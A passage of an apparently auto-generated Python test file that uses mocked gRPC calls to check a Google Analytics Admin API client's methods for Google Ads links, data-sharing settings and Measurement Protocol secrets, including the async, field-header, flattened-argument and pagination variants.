credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_google_ads_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListGoogleAdsLinksResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_google_ads_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListGoogleAdsLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListGoogleAdsLinksAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_google_ads_links_async_from_dict():
await test_list_google_ads_links_async(request_type=dict)
def test_list_google_ads_links_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListGoogleAdsLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_google_ads_links), "__call__"
) as call:
call.return_value = analytics_admin.ListGoogleAdsLinksResponse()
client.list_google_ads_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_google_ads_links_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListGoogleAdsLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_google_ads_links), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListGoogleAdsLinksResponse()
)
await client.list_google_ads_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_google_ads_links_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_google_ads_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListGoogleAdsLinksResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_google_ads_links(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_google_ads_links_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_google_ads_links(
analytics_admin.ListGoogleAdsLinksRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_google_ads_links_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_google_ads_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListGoogleAdsLinksResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListGoogleAdsLinksResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_google_ads_links(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_google_ads_links_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_google_ads_links(
analytics_admin.ListGoogleAdsLinksRequest(), parent="parent_value",
)
def test_list_google_ads_links_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_google_ads_links), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
],
next_page_token="abc",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[], next_page_token="def",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[resources.GoogleAdsLink(),], next_page_token="ghi",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_google_ads_links(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.GoogleAdsLink) for i in results)
def test_list_google_ads_links_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_google_ads_links), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
],
next_page_token="abc",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[], next_page_token="def",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[resources.GoogleAdsLink(),], next_page_token="ghi",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
],
),
RuntimeError,
)
pages = list(client.list_google_ads_links(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_google_ads_links_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_google_ads_links),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
],
next_page_token="abc",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[], next_page_token="def",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[resources.GoogleAdsLink(),], next_page_token="ghi",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
],
),
RuntimeError,
)
async_pager = await client.list_google_ads_links(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.GoogleAdsLink) for i in responses)
@pytest.mark.asyncio
async def test_list_google_ads_links_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_google_ads_links),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
],
next_page_token="abc",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[], next_page_token="def",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[resources.GoogleAdsLink(),], next_page_token="ghi",
),
analytics_admin.ListGoogleAdsLinksResponse(
google_ads_links=[
resources.GoogleAdsLink(),
resources.GoogleAdsLink(),
],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_google_ads_links(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_get_data_sharing_settings(
transport: str = "grpc", request_type=analytics_admin.GetDataSharingSettingsRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_sharing_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DataSharingSettings(
name="name_value",
sharing_with_google_support_enabled=True,
sharing_with_google_assigned_sales_enabled=True,
sharing_with_google_any_sales_enabled=True,
sharing_with_google_products_enabled=True,
sharing_with_others_enabled=True,
)
response = client.get_data_sharing_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetDataSharingSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DataSharingSettings)
assert response.name == "name_value"
assert response.sharing_with_google_support_enabled is True
assert response.sharing_with_google_assigned_sales_enabled is True
assert response.sharing_with_google_any_sales_enabled is True
assert response.sharing_with_google_products_enabled is True
assert response.sharing_with_others_enabled is True
def test_get_data_sharing_settings_from_dict():
test_get_data_sharing_settings(request_type=dict)
def test_get_data_sharing_settings_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_sharing_settings), "__call__"
) as call:
client.get_data_sharing_settings()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetDataSharingSettingsRequest()
@pytest.mark.asyncio
async def test_get_data_sharing_settings_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetDataSharingSettingsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_sharing_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DataSharingSettings(
name="name_value",
sharing_with_google_support_enabled=True,
sharing_with_google_assigned_sales_enabled=True,
sharing_with_google_any_sales_enabled=True,
sharing_with_google_products_enabled=True,
sharing_with_others_enabled=True,
)
)
response = await client.get_data_sharing_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetDataSharingSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DataSharingSettings)
assert response.name == "name_value"
assert response.sharing_with_google_support_enabled is True
assert response.sharing_with_google_assigned_sales_enabled is True
assert response.sharing_with_google_any_sales_enabled is True
assert response.sharing_with_google_products_enabled is True
assert response.sharing_with_others_enabled is True
@pytest.mark.asyncio
async def test_get_data_sharing_settings_async_from_dict():
await test_get_data_sharing_settings_async(request_type=dict)
def test_get_data_sharing_settings_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetDataSharingSettingsRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_sharing_settings), "__call__"
) as call:
call.return_value = resources.DataSharingSettings()
client.get_data_sharing_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_data_sharing_settings_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetDataSharingSettingsRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_sharing_settings), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DataSharingSettings()
)
await client.get_data_sharing_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_data_sharing_settings_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_sharing_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DataSharingSettings()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_data_sharing_settings(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_data_sharing_settings_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_data_sharing_settings(
analytics_admin.GetDataSharingSettingsRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_data_sharing_settings_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_data_sharing_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DataSharingSettings()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DataSharingSettings()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_data_sharing_settings(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_data_sharing_settings_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_data_sharing_settings(
analytics_admin.GetDataSharingSettingsRequest(), name="name_value",
)
def test_get_measurement_protocol_secret(
transport: str = "grpc",
request_type=analytics_admin.GetMeasurementProtocolSecretRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.MeasurementProtocolSecret(
name="name_value",
display_name="display_name_value",
secret_value="secret_value_value",
)
response = client.get_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetMeasurementProtocolSecretRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.MeasurementProtocolSecret)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.secret_value == "secret_value_value"
def test_get_measurement_protocol_secret_from_dict():
test_get_measurement_protocol_secret(request_type=dict)
def test_get_measurement_protocol_secret_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_measurement_protocol_secret), "__call__"
) as call:
client.get_measurement_protocol_secret()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetMeasurementProtocolSecretRequest()
@pytest.mark.asyncio
async def test_get_measurement_protocol_secret_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetMeasurementProtocolSecretRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.MeasurementProtocolSecret(
name="name_value",
display_name="display_name_value",
secret_value="secret_value_value",
)
)
response = await client.get_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetMeasurementProtocolSecretRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.MeasurementProtocolSecret)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.secret_value == "secret_value_value"
@pytest.mark.asyncio
async def test_get_measurement_protocol_secret_async_from_dict():
await test_get_measurement_protocol_secret_async(request_type=dict)
def test_get_measurement_protocol_secret_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetMeasurementProtocolSecretRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_measurement_protocol_secret), "__call__"
) as call:
call.return_value = resources.MeasurementProtocolSecret()
client.get_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_measurement_protocol_secret_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetMeasurementProtocolSecretRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_measurement_protocol_secret), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.MeasurementProtocolSecret()
)
await client.get_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_measurement_protocol_secret_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.MeasurementProtocolSecret()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_measurement_protocol_secret(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_measurement_protocol_secret_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_measurement_protocol_secret(
analytics_admin.GetMeasurementProtocolSecretRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_measurement_protocol_secret_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.MeasurementProtocolSecret()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.MeasurementProtocolSecret()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_measurement_protocol_secret(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_measurement_protocol_secret_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_measurement_protocol_secret(
analytics_admin.GetMeasurementProtocolSecretRequest(), name="name_value",
)
def test_list_measurement_protocol_secrets(
transport: str = "grpc",
request_type=analytics_admin.ListMeasurementProtocolSecretsRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_measurement_protocol_secrets), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListMeasurementProtocolSecretsResponse(
next_page_token="next_page_token_value",
)
response = client.list_measurement_protocol_secrets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListMeasurementProtocolSecretsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListMeasurementProtocolSecretsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_measurement_protocol_secrets_from_dict():
test_list_measurement_protocol_secrets(request_type=dict)
def test_list_measurement_protocol_secrets_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_measurement_protocol_secrets), "__call__"
) as call:
client.list_measurement_protocol_secrets()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListMeasurementProtocolSecretsRequest()
@pytest.mark.asyncio
async def test_list_measurement_protocol_secrets_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ListMeasurementProtocolSecretsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_measurement_protocol_secrets), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListMeasurementProtocolSecretsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_measurement_protocol_secrets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListMeasurementProtocolSecretsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListMeasurementProtocolSecretsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_measurement_protocol_secrets_async_from_dict():
await test_list_measurement_protocol_secrets_async(request_type=dict)
def test_list_measurement_protocol_secrets_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListMeasurementProtocolSecretsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_measurement_protocol_secrets), "__call__"
) as call:
call.return_value = analytics_admin.ListMeasurementProtocolSecretsResponse()
client.list_measurement_protocol_secrets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_measurement_protocol_secrets_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListMeasurementProtocolSecretsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_measurement_protocol_secrets), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListMeasurementProtocolSecretsResponse()
)
await client.list_measurement_protocol_secrets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_measurement_protocol_secrets_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_measurement_protocol_secrets), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListMeasurementProtocolSecretsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_measurement_protocol_secrets(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_measurement_protocol_secrets_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_measurement_protocol_secrets(
analytics_admin.ListMeasurementProtocolSecretsRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_measurement_protocol_secrets_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_measurement_protocol_secrets), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListMeasurementProtocolSecretsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListMeasurementProtocolSecretsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_measurement_protocol_secrets(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_measurement_protocol_secrets_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_measurement_protocol_secrets(
analytics_admin.ListMeasurementProtocolSecretsRequest(),
parent="parent_value",
)
def test_list_measurement_protocol_secrets_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_measurement_protocol_secrets), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
],
next_page_token="abc",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[], next_page_token="def",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[resources.MeasurementProtocolSecret(),],
next_page_token="ghi",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_measurement_protocol_secrets(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.MeasurementProtocolSecret) for i in results)
def test_list_measurement_protocol_secrets_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_measurement_protocol_secrets), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListMeasurementProtocolSecretsResponse(
